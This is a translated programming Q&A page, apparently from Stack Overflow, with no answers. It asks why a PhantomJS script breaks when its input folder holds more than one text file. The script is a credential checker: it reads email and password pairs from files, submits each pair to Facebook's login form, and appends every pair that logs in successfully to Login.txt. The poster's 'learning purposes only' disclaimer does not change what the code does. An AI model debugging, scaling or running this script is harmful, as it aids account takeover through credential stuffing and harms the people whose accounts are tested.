循环在包含多个文件时中断

时间:2016-04-18 14:58:52

标签: javascript phantomjs

每当我在目录中只有一个文本文件运行此代码时," usernames /"它完美地运作。但是当有多个文本文件时,page.open输出状态"失败"对于两个文本文件而不是"成功"。

真的让我感到困惑的是文本文件的数量如何破坏了这段代码。顺便说一句,此代码不会用于任何仅用于学习目的的非法活动。

var page = require('webpage').create();
var system = require("system");
var fs = require('fs');

function facebooktest(file){
    var str = fs.read(file);
    var username = str.split("\n")[0];
    var password = str.split("\n")[1];
    var email = str.split("\n")[2];

    console.log(email);
    console.log(password);

    page.open('https://www.facebook.com/login.php?login_attempt/', function(status) {
        console.log("Status: " + status);
        page.includeJs('https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js', function () {    
            //page.render("before_submit.png");
            page.evaluate(function (email,password) {
                $("#email").val(email);
                $("#pass").val(password);
                $("#loginbutton").click();
            },email,password);  
            page.onLoadFinished = function() {  
                //page.render("after_submit.png");
                if (page.url == "https://www.facebook.com/"){
                    var fs = require('fs');
                    var pathe = 'Login.txt';
                    var content = "\nFacebook werkt voor : " + email + " " + password ;
                    fs.write(pathe, content, 'a');
                };
            };
        });
    });
}

var path = "usernames/";
var list = fs.list(path);
for(var x = 0; x < list.length; x++){
    var file = path + list[x];
    if(fs.isFile(file)){
        console.log(file);
        facebooktest(file);
    }
}

0 个答案:

没有答案